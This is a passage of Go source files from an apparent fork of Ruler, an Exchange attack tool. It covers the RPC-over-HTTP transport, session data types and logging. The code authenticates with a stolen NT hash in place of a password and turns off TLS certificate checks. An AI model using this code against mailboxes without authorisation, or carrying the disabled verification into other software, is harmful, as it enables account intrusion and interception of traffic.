(auxbuf AUXPerfGCSuccess) Marshal() []byte { 593 | return utils.BodyToBytes(auxbuf) 594 | } 595 | -------------------------------------------------------------------------------- /rpc-http/rpctransport.go: -------------------------------------------------------------------------------- 1 | package rpchttp 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/tls" 7 | "fmt" 8 | "io" 9 | "net" 10 | "net/url" 11 | "strings" 12 | "sync" 13 | "time" 14 | 15 | "github.com/sensepost/ruler/utils" 16 | "github.com/staaldraad/go-ntlm/ntlm" 17 | ) 18 | 19 | var rpcInConn net.Conn 20 | var rpcOutConn net.Conn 21 | var rpcInR, rpcInW = io.Pipe() 22 | var rpcOutR, rpcOutW = io.Pipe() 23 | var rpcRespBody *bufio.Reader 24 | var callcounter int 25 | var responses = make([]RPCResponse, 0) 26 | var httpResponses = make([][]byte, 0) 27 | var rpcntlmsession ntlm.ClientSession 28 | var fragged bool 29 | var mutex = &sync.Mutex{} 30 | var writemutex = &sync.Mutex{} 31 | 32 | //var AuthSession.ContextHandle []byte 33 | 34 | //AuthSession Keep track of session data 35 | var AuthSession *utils.Session 36 | 37 | func setupHTTP(rpctype string, URL string, ntlmAuth bool, full bool) (net.Conn, error) { 38 | u, err := url.Parse(URL) 39 | var connection net.Conn 40 | if u.Scheme == "http" { 41 | connection, err = net.Dial("tcp", fmt.Sprintf("%s:80", u.Host)) 42 | } else { 43 | conf := tls.Config{InsecureSkipVerify: true} 44 | connection, err = tls.Dial("tcp", fmt.Sprintf("%s:443", u.Host), &conf) 45 | } 46 | 47 | if err != nil { 48 | return nil, fmt.Errorf("RPC Setup Err: %s", err) 49 | } 50 | var request string 51 | 52 | if full == true { 53 | request = fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.String(), u.Host) 54 | } else { 55 | request = fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.RequestURI(), u.Host) 56 | } 57 | 58 | request = fmt.Sprintf("%sUser-Agent: MSRPC\r\n", request) 59 | request = fmt.Sprintf("%sCache-Control: no-cache\r\n", request) 60 | request = fmt.Sprintf("%sAccept: application/rpc\r\n", request) 61 | request = fmt.Sprintf("%sConnection: keep-alive\r\n", request) 62 | 63 | //add cookies 64 | cookiestr := "" 65 | for _, c := range AuthSession.CookieJar.Cookies(u) { 66 | cookiestr = fmt.Sprintf("%s%s=%s; ", cookiestr, c.Name, c.Value) 67 | } 68 | if cookiestr != "" { 69 | request = fmt.Sprintf("%sCookie: %s\r\n", request, cookiestr) 70 | } 71 | 72 | var authenticate *ntlm.AuthenticateMessage 73 | if ntlmAuth == true { 74 | 75 | //we should probably extract the NTLM type from the server response and use appropriate 76 | session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode) 77 | b, _ := session.GenerateNegotiateMessage() 78 | 79 | if err != nil { 80 | return nil, err 81 | } 82 | 83 | //add NTML Authorization header 84 | requestInit := fmt.Sprintf("%sAuthorization: NTLM %s\r\n", request, utils.EncBase64(b.Bytes())) 85 | requestInit = fmt.Sprintf("%sContent-Length: 0\r\n\r\n", requestInit) 86 | 87 | //send connect 88 | connection.Write([]byte(requestInit)) 89 | //read response 90 | data := make([]byte, 2048) 91 | _, err = connection.Read(data) 92 | if err != nil { 93 | if full == false { 94 | return nil, fmt.Errorf("Failed with initial setup for %s : %s\n", rpctype, err) 95 | } 96 | //utils.Trace.Printf("Failed with initial setup for %s trying again...\n", rpctype) 97 | return setupHTTP(rpctype, URL, ntlmAuth, false) 98 | } 99 | 100 | parts := strings.Split(string(data), "\r\n") 101 | ntlmChallengeHeader := "" 102 | for _, v := range parts { 103 | if n := strings.Split(v, ": "); len(n) > 0 { 104 | if n[0] == "WWW-Authenticate" { 105 | ntlmChallengeHeader = n[1] 106 | break 107 | } 108 | } 109 | } 110 | 111 | ntlmChallengeString := strings.Replace(ntlmChallengeHeader, "NTLM ", "", 1) 112 | challengeBytes, err := utils.DecBase64(ntlmChallengeString) 113 | if err != nil { 114 | if full == false { 115 | return nil, fmt.Errorf("Failed with initial setup for %s : %s\n", rpctype, err) 116 | } 117 | utils.Fail.Printf("Failed with initial setup for %s trying again...\n", rpctype) 118 | return setupHTTP(rpctype, URL, ntlmAuth, false) 119 | } 120 | 121 | session.SetUserInfo(AuthSession.User, AuthSession.Pass, AuthSession.Domain) 122 | if len(AuthSession.NTHash) > 0 { 123 | session.SetNTHash(AuthSession.NTHash) 124 | } 125 | 126 | if len(challengeBytes) == 0 { 127 | utils.Debug.Println(string(data)) 128 | return nil, fmt.Errorf("Authentication Error. No NTLM Challenge") 129 | } 130 | // parse NTLM challenge 131 | challenge, err := ntlm.ParseChallengeMessage(challengeBytes) 132 | if err != nil { 133 | utils.Debug.Println(string(data)) 134 | return nil, err 135 | } 136 | err = session.ProcessChallengeMessage(challenge) 137 | if err != nil { 138 | utils.Debug.Println(string(data)) 139 | return nil, err 140 | } 141 | // authenticate user 142 | authenticate, err = session.GenerateAuthenticateMessage() 143 | 144 | if err != nil { 145 | utils.Debug.Println(string(data)) 146 | return nil, err 147 | } 148 | } 149 | 150 | if rpctype == "RPC_IN_DATA" { 151 | request = fmt.Sprintf("%sContent-Length: 1073741824\r\n", request) 152 | } else if rpctype == "RPC_OUT_DATA" { 153 | request = fmt.Sprintf("%sContent-Length: 76\r\n", request) 154 | } 155 | 156 | if ntlmAuth == true { 157 | request = fmt.Sprintf("%sAuthorization: NTLM %s\r\n\r\n", request, utils.EncBase64(authenticate.Bytes())) 158 | } else { 159 | if u.Host == "outlook.office365.com" { 160 | request = fmt.Sprintf("%sAuthorization: Basic %s\r\n\r\n", request, utils.EncBase64([]byte(fmt.Sprintf("%s:%s", AuthSession.Email, AuthSession.Pass)))) 161 | } else { 162 | request = fmt.Sprintf("%sAuthorization: Basic %s\r\n\r\n", request, utils.EncBase64([]byte(fmt.Sprintf("%s\\%s:%s", AuthSession.Domain, AuthSession.User, AuthSession.Pass)))) 163 | } 164 | } 165 | 166 | if cookiestr != "" { 167 | request = fmt.Sprintf("%sCookie: %s\r\n", request, cookiestr) 168 | } 169 | connection.Write([]byte(request)) 170 | 171 | return connection, nil 172 | } 173 | 174 | //RPCOpen opens HTTP for RPC_IN_DATA and RPC_OUT_DATA 175 | func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err error) { 176 | //I'm so damn frustrated at not being able to use the http client here 177 | //can't find a way to keep the write channel open (other than going over to http/2, which isn't valid here) 178 | //so this is some damn messy code, but screw it 179 | 180 | rpcInConn, err = setupHTTP("RPC_IN_DATA", URL, AuthSession.RPCNtlm, true) 181 | 182 | if err != nil { 183 | readySignal <- false 184 | errOccurred <- err 185 | return err 186 | } 187 | 188 | //open the RPC_OUT_DATA channel, receive a "ready" signal when this is setup 189 | //this will be sent back to the caller through "readySignal", while error is sent through errOccurred 190 | go RPCOpenOut(URL, readySignal, errOccurred) 191 | 192 | select { 193 | case c := <-readySignal: 194 | if c == true { 195 | readySignal <- true 196 | } else { 197 | readySignal <- false 198 | return err 199 | } 200 | case <-time.After(time.Second * 5): // call timed out 201 | readySignal <- true 202 | } 203 | 204 | for { 205 | data := make([]byte, 2048) 206 | n, err := rpcInR.Read(data) 207 | if n > 0 { 208 | _, err = rpcInConn.Write(data[:n]) 209 | } 210 | if err != nil && err != io.EOF { 211 | utils.Error.Println("RPCIN_ERROR: ", err) 212 | break 213 | } 214 | } 215 | return nil 216 | } 217 | 218 | //RPCOpenOut function opens the RPC_OUT_DATA channel 219 | //starts our listening "loop" which scans for new responses and pushes 220 | //these to our list of recieved responses 221 | func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) (err error) { 222 | 223 | rpcOutConn, err = setupHTTP("RPC_OUT_DATA", URL, AuthSession.RPCNtlm, true) 224 | if err != nil { 225 | readySignal <- false 226 | errOccurred <- err 227 | return err 228 | } 229 | 230 | scanner := bufio.NewScanner(rpcOutConn) 231 | scanner.Split(SplitData) 232 | 233 | for scanner.Scan() { 234 | if b := scanner.Bytes(); b != nil { 235 | if string(b[0:4]) == "HTTP" { 236 | httpResponses = append(httpResponses, b) 237 | } 238 | r := RPCResponse{} 239 | r.Unmarshal(b) 240 | r.Body = b 241 | mutex.Lock() //lets be safe, lock the responses array before adding a new value to it 242 | 243 | //if the PFCFlag is set to 0 or 2, this packet is fragment of the previous packet 244 | //take the PDU of this packet and append it to our previous packet 245 | if r.Header.PFCFlags == uint8(2) || r.Header.PFCFlags == uint8(0) { 246 | for k, v := range responses { 247 | if v.Header.CallID == r.Header.CallID { 248 | responses[k].PDU = append(v.PDU, r.PDU...) 249 | if r.Header.PFCFlags == uint8(2) { 250 | responses[k].Header.PFCFlags = 3 251 | } 252 | break 253 | } 254 | } 255 | } else { 256 | responses = append(responses, r) 257 | } 258 | 259 | mutex.Unlock() 260 | } 261 | } 262 | 263 | return nil 264 | } 265 | 266 | //RPCBind function establishes our session 267 | func RPCBind() error { 268 | var err error 269 | //Generate out-channel cookie 270 | //20 byte channel cookie for out-channel 271 | connB1 := ConnB1() 272 | //Send CONN/A1 273 | connA1 := ConnA1(connB1.VirtualConnectCookie.Cookie) 274 | RPCOutWrite(connA1.Marshal()) 275 | 276 | //send CONN/B1 277 | RPCWrite(connB1.Marshal()) 278 | 279 | //should check if we use Version1 or Version2 280 | rpcntlmsession, err = ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode) 281 | if err != nil { 282 | return err 283 | } 284 | 285 | bind := BindPDU{} 286 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { 287 | bind = SecureBind(AuthSession.RPCNetworkAuthLevel, AuthSession.RPCNetworkAuthType, &rpcntlmsession) 288 | } else { 289 | bind = Bind() 290 | } 291 | 292 | RPCWrite(bind.Marshal()) 293 | 294 | if _, err := RPCRead(0); err != nil { 295 | return err 296 | } 297 | if _, err := RPCRead(0); err != nil { 298 | return err 299 | } 300 | 301 | //parse out and setup security 302 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { 303 | resp, err := RPCRead(1) 304 | 305 | if err != nil { 306 | return err 307 | } 308 | sec := RTSSec{} 309 | pos, _ := sec.Unmarshal(resp.SecTrailer, int(resp.Header.AuthLen)) 310 | //fmt.Printf("%x\n", resp.Body[len(resp.PDU)+pos+16:]) 311 | challengeBytes := append(resp.Body[len(resp.PDU)+pos+16:], []byte{0x00}...) 312 | 313 | rpcntlmsession.SetUserInfo(AuthSession.User, AuthSession.Pass, AuthSession.Domain) 314 | rpcntlmsession.SetMode(ntlm.ConnectionOrientedMode) 315 | rpcntlmsession.SetTarget(fmt.Sprintf("exchangeMDB/%s", AuthSession.RPCMailbox)) 316 | rpcntlmsession.SetNTHash(AuthSession.NTHash) 317 | 318 | challenge, err := ntlm.ParseChallengeMessage(challengeBytes) 319 | 320 | if err != nil { 321 | return fmt.Errorf("Bad Challenge Message %s", err) 322 | } 323 | err = rpcntlmsession.ProcessChallengeMessage(challenge) 324 | if err != nil { 325 | return fmt.Errorf("Bad Process Challenge %s", err) 326 | } 327 | 328 | // authenticate user 329 | authenticate, err := rpcntlmsession.GenerateAuthenticateMessageAV() 330 | 331 | if err != nil { 332 | utils.Debug.Println(string(resp.Body)) 333 | return fmt.Errorf("Bad authenticate message %s", err) 334 | } 335 | 336 | //send auth setup complete bind 337 | au := Auth3(AuthSession.RPCNetworkAuthLevel, AuthSession.RPCNetworkAuthType, authenticate.Bytes()) 338 | RPCWrite(au.Marshal()) 339 | } 340 | return nil 341 | } 342 | 343 | //RPCPing fucntion 344 | func RPCPing() { 345 | rpcInW.Write(Ping().Marshal()) 346 | } 347 | 348 | //EcDoRPCExt2 does our actual RPC request returns the mapi data 349 | func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) { 350 | 351 | RPCWriteN(MAPI, auxLen, 0x0b) 352 | //RPCWrite(req.Marshal()) 353 | resp, err := RPCRead(callcounter - 1) 354 | 355 | if err != nil { 356 | return nil, err 357 | } 358 | 359 | //decrypt response PDU 360 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { 361 | if len(resp.PDU) < 20 { 362 | return nil, fmt.Errorf("Invalid response received. Please try again") 363 | } 364 | dec, _ := rpcntlmsession.UnSeal(resp.PDU[8:]) 365 | sec := RTSSec{} 366 | sec.Unmarshal(resp.SecTrailer, int(resp.Header.AuthLen)) 367 | return dec[20:], err 368 | } 369 | 370 | if len(resp.PDU) < 28 { 371 | utils.Debug.Println(resp) 372 | return nil, fmt.Errorf("Invalid response.") 373 | } 374 | 375 | return resp.PDU[28:], err 376 | } 377 | 378 | //EcDoRPCAbk makes a request for NSPI addressbook 379 | //Not fully implemented 380 | //TODO: complete this 381 | func EcDoRPCAbk(MAPI []byte, l int) ([]byte, error) { 382 | RPCWriteN(MAPI, uint32(l), 0x03) 383 | //RPCWrite(req.Marshal()) 384 | 385 | resp, err := RPCRead(callcounter - 1) 386 | 387 | if err != nil { 388 | return nil, err 389 | } 390 | fmt.Printf("%x\n", resp.PDU) 391 | return resp.PDU, err 392 | } 393 | 394 | //DoConnectExRequest makes our connection request. After this we can use 395 | //EcDoRPCExt2 to make our MAPI requests 396 | func DoConnectExRequest(MAPI []byte, auxLen uint32) ([]byte, error) { 397 | 398 | callcounter += 2 399 | 400 | RPCWriteN(MAPI, auxLen, 0x0a) 401 | 402 | resp, err := RPCRead(callcounter - 1) 403 | if err == nil && len(resp.PDU) < 20 { 404 | resp, err = RPCRead(callcounter - 1) 405 | } 406 | if err != nil { 407 | return nil, err 408 | } 409 | var dec []byte 410 | //decrypt response PDU 411 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { 412 | dec, _ = rpcntlmsession.UnSeal(resp.PDU[8:]) 413 | AuthSession.ContextHandle = dec[4:20] //decrypted 414 | } else { 415 | AuthSession.ContextHandle = resp.PDU[12:28] 416 | } 417 | 418 | if utils.DecodeUint32(AuthSession.ContextHandle[0:4]) == 0x0000 { 419 | utils.Debug.Printf("%s\n%x\n", string(dec), resp) 420 | return nil, fmt.Errorf("\nUnable to obtain a session context\nTry again using the --encrypt flag. It is possible that the target requires 'Encrypt traffic between Outlook and Exchange' to be enabled") 421 | } 422 | 423 | return resp.Body, err 424 | } 425 | 426 | //RPCDummy is used to check if we can communicate with the server 427 | func RPCDummy() { 428 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_REQUEST, PFCFlags: 0x03, AuthLen: 0, CallID: uint32(callcounter)} 429 | header.PackedDrep = 16 430 | req := RTSRequest{} 431 | req.MaxFrag = 0xFFFF 432 | req.MaxRecv = 0x0000 433 | req.Header = header 434 | req.Command = []byte{0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00} 435 | pdu := PDUData{} 436 | pdu.ContextHandle = AuthSession.ContextHandle 437 | pdu.AuxOut = 0x000001008 438 | req.PduData = pdu.Marshal() 439 | req.Header.FragLen = uint16(len(req.Marshal())) 440 | RPCWrite(req.Marshal()) 441 | } 442 | 443 | //RPCDisconnect fucntion 444 | func RPCDisconnect() { 445 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_REQUEST, PFCFlags: 0x03, AuthLen: 0, CallID: uint32(callcounter)} 446 | header.PackedDrep = 16 447 | req := RTSRequest{} 448 | req.MaxFrag = 0xFFFF 449 | req.MaxRecv = 0x0000 450 | req.Header = header 451 | req.Command = []byte{0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00} //opnum 0x01 452 | pdu := PDUData{} 453 | pdu.ContextHandle = AuthSession.ContextHandle 454 | pdu.AuxOut = 0x000001008 455 | req.PduData = pdu.Marshal() 456 | req.Header.FragLen = uint16(len(req.Marshal())) 457 | RPCWrite(req.Marshal()) 458 | rpcInConn.Close() 459 | rpcOutConn.Close() 460 | } 461 | 462 | //RPCWriteN function writes to our RPC_IN_DATA channel 463 | func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) { 464 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_REQUEST, PFCFlags: 0x03, AuthLen: 0, CallID: uint32(callcounter)} 465 | header.PackedDrep = 16 466 | req := RTSRequest{} 467 | req.Header = header 468 | 469 | req.MaxRecv = 0x1000 470 | req.Command = []byte{0x00, 0x00, opnum, 0x00} //command 10 471 | 472 | pdu := PDUData{} 473 | if opnum != 0x0a { 474 | req.Command = []byte{0x00, 0x00, opnum, 0x00, 0x00, 0x00, 0x00, 0x00} //command 10 475 | pdu.ContextHandle = AuthSession.ContextHandle 476 | } 477 | pdu.Data = MAPI 478 | 479 | pdu.CbAuxIn = uint32(auxlen) 480 | pdu.AuxOut = 0x000001000 481 | 482 | req.PduData = pdu.Marshal() //MAPI 483 | req.MaxFrag = uint16(len(pdu.Marshal()) + 24) 484 | req.Header.FragLen = uint16(len(req.Marshal())) 485 | 486 | if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { 487 | var data []byte 488 | if opnum != 0x0a { 489 | req.Command = []byte{0x01, 0x00, opnum, 0x00} 490 | data = append([]byte{0x00, 0x00, 0x00, 0x00}, req.PduData...) 491 | } else { 492 | req.Command[0] = 0x01 //set CTX context id 493 | data = req.PduData 494 | } 495 | 496 | //pad if necessary 497 | pad := (4 - (len(data) % 4)) % 4 498 | 499 | data = append(data, bytes.Repeat([]byte{0xBB}, pad)...) 500 | req.PduData = data 501 | req.Header.FragLen += 24 //account for AuthData 502 | 503 | //add sectrailer 504 | secTrail := RTSSec{} 505 | secTrail.AuthLevel = AuthSession.RPCNetworkAuthLevel 506 | secTrail.AuthType = AuthSession.RPCNetworkAuthType 507 | secTrail.AuthPadLen = uint8(pad) 508 | secTrail.AuthCTX = 0 509 | 510 | req.SecTrailer = secTrail.Marshal() 511 | req.Header.AuthLen = 16 512 | 513 | //seal data, sign pdu 514 | //Sign the whole pdu, but encrypt just the PduData, not the dcerpc header. 515 | sealed, sign, _ := rpcntlmsession.SealV2(data, req.Marshal()) 516 | 517 | req.AuthData = sign 518 | req.PduData = sealed 519 | } 520 | callcounter++ 521 | 522 | writemutex.Lock() //lets be safe, don't think this is strictly necessary 523 | rpcInW.Write(req.Marshal()) 524 | writemutex.Unlock() 525 | 526 | //previous versions were writing to the channel faster than the RPC proxy could handle the data. This caused issues... 527 | time.Sleep(time.Millisecond * 300) 528 | } 529 | 530 | //RPCWrite function writes to our RPC_IN_DATA channel 531 | func RPCWrite(data []byte) { 532 | callcounter++ 533 | writemutex.Lock() //lets be safe, don't think this is strictly necessary 534 | rpcInW.Write(data) 535 | writemutex.Unlock() 536 | time.Sleep(time.Millisecond * 300) 537 | } 538 | 539 | //RPCOutWrite function writes to the RPC_OUT_DATA channel, 540 | //this should only happen once, for ConnA1 541 | func RPCOutWrite(data []byte) { 542 | if rpcOutConn != nil { 543 | writemutex.Lock() //lets be safe, don't think this is strictly necessary 544 | rpcOutConn.Write(data) 545 | writemutex.Unlock() 546 | time.Sleep(time.Millisecond * 300) 547 | } 548 | } 549 | 550 | //RPCRead function takes a call ID and searches for the response in 551 | //our list of received responses. Blocks until it finds a response 552 | func RPCRead(callID int) (RPCResponse, error) { 553 | c := make(chan RPCResponse, 1) 554 | 555 | go func() { 556 | stop := false 557 | for stop != true { 558 | for k, v := range responses { 559 | //if the PFCFlags is set to 1, this is a fragmented packet. wait to update it first 560 | if v.Header.CallID == uint32(callID) && v.Header.PFCFlags != 1 { 561 | responses = append(responses[:k], responses[k+1:]...) 562 | stop = true 563 | c <- v 564 | break 565 | } 566 | } 567 | } 568 | }() 569 | 570 | select { 571 | case resp := <-c: 572 | return resp, nil 573 | case <-time.After(time.Second * 15): // call timed out 574 | utils.Error.Println("RPC Timeout") 575 | //check if there is a 401 or other error message 576 | for k, v := range httpResponses { 577 | st := string(v) 578 | if er := strings.Split(strings.Split(st, "\r\n")[0], " "); len(er) > 1 && er[1] != "200" { 579 | utils.Debug.Println(st) 580 | return RPCResponse{}, fmt.Errorf("Invalid HTTP response: %s", er) 581 | } else if len(er) <= 1 { 582 | utils.Debug.Println(st) 583 | return RPCResponse{}, fmt.Errorf("Invalid HTTP response: %s", st) 584 | } 585 | httpResponses = append(httpResponses[:k], httpResponses[k+1:]...) 586 | } 587 | return RPCResponse{}, fmt.Errorf("Time-out reading from RPC") 588 | } 589 | 590 | } 591 | 592 | //SplitData is used to scan through the input stream and split data into individual responses 593 | func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) { 594 | if atEOF && len(data) == 0 { 595 | return 0, nil, nil 596 | } 597 | 598 | //check if HTTP response 599 | if string(data[0:4]) == "HTTP" { 600 | for k := range data { 601 | if bytes.Equal(data[k:k+4], []byte{0x0d, 0x0a, 0x0d, 0x0a}) { 602 | if bytes.Equal(data[k+4:k+5], []byte{0x31}) { //check if there is fragmentation 603 | fragged = true 604 | } 605 | return k + 4, data[0:k], nil //return the HTTP packet 606 | } 607 | } 608 | } 609 | 610 | if fragged { 611 | dbuf := []byte{} 612 | offset := 10 //the default offset for the location of the fragment length 613 | //find next 0x0d,0x0a 614 | for k := 0; k < len(data); k++ { 615 | if bytes.Equal(data[k:k+3], []byte{0x31, 0x0d, 0x0a}) { //this is a part of a fragment 616 | dbuf = []byte{0x05} //start the new fragment 617 | offset = 9 //adjust the offset, because the rest of the packet is in another fragment 618 | k += 4 //jump ahead to the next fragment 619 | continue 620 | } else if bytes.Equal(data[k:k+2], []byte{0x0d, 0x0a}) { //we have a fragment 621 | if len(data) < 12 { //check that there is enough data 622 | return 0, nil, nil 623 | } 624 | //get the length of the fragment 625 | fragLen := int(utils.DecodeUint16(data[k+offset : k+offset+2])) 626 | if offset == 9 { //we already have the start of the fragment, so adjust the length by 1 627 | fragLen-- 628 | } 629 | 630 | if len(data) < fragLen { //check that there is enough data to read 631 | return 0, nil, nil //not enough data, restart the scan 632 | } 633 | 634 | dbuf = append(dbuf, data[k+2:k+fragLen+2]...) //get the fragment data 635 | if offset == 9 { //multiple fragments, so adjust the offset 636 | return k + len(dbuf) + 2, dbuf, nil 637 | } 638 | return k + len(dbuf) + 4, dbuf, nil //return the rpcpacket and the new scan position 639 | } 640 | } 641 | } else if !fragged && !atEOF { //there is no fragmentation 642 | if len(data) < 12 { //check that we have enough data 643 | return 0, nil, nil 644 | } 645 | fragLen := int(utils.DecodeUint16(data[8:10])) //get the length of the RPC packet 646 | 647 | if len(data) < fragLen { //check that we have enough data 648 | return 0, nil, nil 649 | } 650 | dbuf := []byte{} 651 | dbuf = append(dbuf, data[:fragLen]...) //read rpc packet 652 | 653 | return len(dbuf), dbuf, nil //return current position and rpc packet 654 | } 655 | 656 | if atEOF { 657 | return len(data), data, nil 658 | } 659 | 660 | return 0, nil, nil 661 | } 662 | -------------------------------------------------------------------------------- /templates/formdeletetemplate.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/formdeletetemplate.bin -------------------------------------------------------------------------------- /templates/formtemplate.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/formtemplate.bin -------------------------------------------------------------------------------- /templates/img0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/img0.bin -------------------------------------------------------------------------------- /templates/img1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/templates/img1.bin -------------------------------------------------------------------------------- /utils/datatypes.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "encoding/xml" 5 | "net/http" 6 | "net/http/cookiejar" 7 | "net/url" 8 | ) 9 | 10 | //Config containing the session variables 11 | type Config struct { 12 | Domain string 13 | User string 14 | Pass string 15 | Email string 16 | Basic bool 17 | Insecure bool 18 | Verbose bool 19 | Admin bool 20 | Proxy string 21 | } 22 | 23 | //Session stores authentication cookies ect 24 | type Session struct { 25 | User string 26 | Pass string 27 | Email string 28 | Domain string 29 | Proxy string 30 | Basic bool 31 | Insecure bool 32 | Verbose bool 33 | Admin bool 34 | DiscoURL *url.URL 35 | LID string 36 | URL *url.URL 37 | ABKURL *url.URL //URL for the AddressBook Provider 38 | Host string //used for TCP 39 | ReqCounter int 40 | Transport int 41 | CookieJar *cookiejar.Jar 42 | Client http.Client 43 | ClientSet bool 44 | LogonID byte 45 | Authenticated bool 46 | Folderids [][]byte 47 | RulesHandle []byte 48 | NTHash []byte 49 | NTLMAuth string 50 | BasicAuth string 51 | 52 | RPCSet bool 53 | ContextHandle []byte //16-byte cookie for the RPC session 54 | RPCURL string 55 | UserDN []byte 56 | Trigger string 57 | RPCMailbox string 58 | RPCEncrypt bool 59 | RPCNtlm bool 60 | RPCNetworkAuthLevel uint8 61 | RPCNetworkAuthType uint8 62 | RPCNtlmSessionKey []byte 63 | } 64 | 65 | //YamlConfig holds the data that a user supplies with a yaml config file 66 | type YamlConfig struct { 67 | Username string 68 | Email string 69 | Password string 70 | Hash string 71 | Domain string 72 | UserDN string 73 | Mailbox string 74 | RPCURL string 75 | RPC bool 76 | RPCEncrypt bool 77 | Ntlm bool 78 | MapiURL string 79 | } 80 | 81 | //AutodiscoverResp structure for unmarshal 82 | type AutodiscoverResp struct { 83 | Response Response 84 | } 85 | 86 | //Response structure for unmarshal 87 | type Response struct { 88 | User User 89 | Account Account 90 | Error AutoError 91 | } 92 | 93 | //AutoError structure for unmarshal 94 | type AutoError struct { 95 | ErrorCode string 96 | Message string 97 | DebugData string 98 | } 99 | 100 | //User structure for unmarshal 101 | type User struct { 102 | DisplayName string 103 | LegacyDN string 104 | DeploymentID string 105 | AutoDiscoverSMTPAddress string 106 | } 107 | 108 | //Account structure for unmarshal 109 | type Account struct { 110 | AccountType string 111 | Action string 112 | RedirectAddr string 113 | MicrosoftOnline bool 114 | Protocol []*Protocol 115 | } 116 | 117 | //Protocol structure for unmarshal 118 | type Protocol struct { 119 | Type string 120 | TypeAttr string `xml:"Type,attr"` 121 | Server string 122 | TTL string 123 | ServerDN string 124 | ServerVersion string 125 | MdbDN string 126 | PublicFolderServer string 127 | Port string 128 | DirectoryPort string 129 | ReferralPort string 130 | ASUrl string 131 | EWSUrl string 132 | EMWSUrl string 133 | SharingURL string 134 | ECPUrl string 135 | OOFUrl string 136 | UMUrl string 137 | OABUrl string 138 | EwsPartnerURL string 139 | LoginName string 140 | DomainRequired string 141 | DomainName string 142 | SPA string 143 | AuthPackage string 144 | CertPrincipleName string 145 | SSL string 146 | AuthRequired string 147 | UsePOPAuth string 148 | SMTPLast string 149 | NetworkRequirements string 150 | MailStore *MailStore 151 | AddressBook *AddressBook 152 | Internal *ProtoInternal 153 | External *ProtoInternal 154 | PublicFolderInformation *PublicFolderInformation 155 | } 156 | 157 | //ProtoInternal strucuture for unmarshal 158 | type ProtoInternal struct { 159 | OWAUrl string 160 | Protocol *Protocol 161 | } 162 | 163 | //MailStore structure for unmarshal 164 | type MailStore struct { 165 | InternalUrl string 166 | ExternalUrl string 167 | } 168 | 169 | //AddressBook structure for unmarshal 170 | type AddressBook struct { 171 | InternalUrl string 172 | ExternalUrl string 173 | } 174 | 175 | //PublicFolderInformation structure for unmarshal 176 | type PublicFolderInformation struct { 177 | SMTPAddress string 178 | } 179 | 180 | //Unmarshal returns the XML response as golang structs 181 | func (autodiscresp *AutodiscoverResp) Unmarshal(resp []byte) error { 182 | //var autodiscresp *AutodiscoverResp 183 | err := xml.Unmarshal(resp, autodiscresp) 184 | if err != nil { 185 | return err //fmt.Printf("error: %v", err) 186 | //return nil 187 | } 188 | return nil 189 | } 190 | 191 | //Unmarshal returns the XML response as golang structs 192 | func (autodiscresp *AutodiscoverResp) Marshal() (resp []byte, err error) { 193 | //var autodiscresp *AutodiscoverResp 194 | resp, err = xml.Marshal(autodiscresp) 195 | return resp, err 196 | } 197 | -------------------------------------------------------------------------------- /utils/logging.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "io" 5 | "log" 6 | "runtime" 7 | ) 8 | 9 | var ( 10 | Trace *log.Logger 11 | Info *log.Logger 12 | Question *log.Logger 13 | Fail *log.Logger 14 | Warning *log.Logger 15 | Debug *log.Logger 16 | Error *log.Logger 17 | Clear *log.Logger 18 | ) 19 | 20 | //Init the logging function 21 | func Init( 22 | traceHandle io.Writer, 23 | infoHandle io.Writer, 24 | warningHandle io.Writer, 25 | errorHandle io.Writer) { 26 | if runtime.GOOS == "windows" { 27 | Trace = log.New(traceHandle, "[*] ", 0) 28 | Info = log.New(infoHandle, "[+] ", 0) 29 | Clear = log.New(infoHandle, " ", 0) 30 | Debug = log.New(warningHandle, "", 0) 31 | Fail = log.New(infoHandle, "[x] ", 0) 32 | Question = log.New(infoHandle, "[?] ", 0) 33 | Warning = log.New(infoHandle, 34 | "[WARNING] ", 0) 35 | Error = log.New(errorHandle, 36 | "ERROR: ", log.Ltime|log.Lshortfile) 37 | 38 | } else { 39 | Trace = log.New(traceHandle, "\033[33m[*] \033[0m", 0) 40 | Info = log.New(infoHandle, "\033[32m[+] \033[0m", 0) 41 | Clear = log.New(infoHandle, " ", 0) 42 | Debug = log.New(warningHandle, "", 0) 43 | Fail = log.New(infoHandle, "\033[91m[x] \033[0m", 0) 44 | Question = log.New(infoHandle, "\033[91m[?] \033[0m", 0) 45 | Warning = log.New(infoHandle, 46 | "\033[91m[WARNING] \033[0m", 0) 47 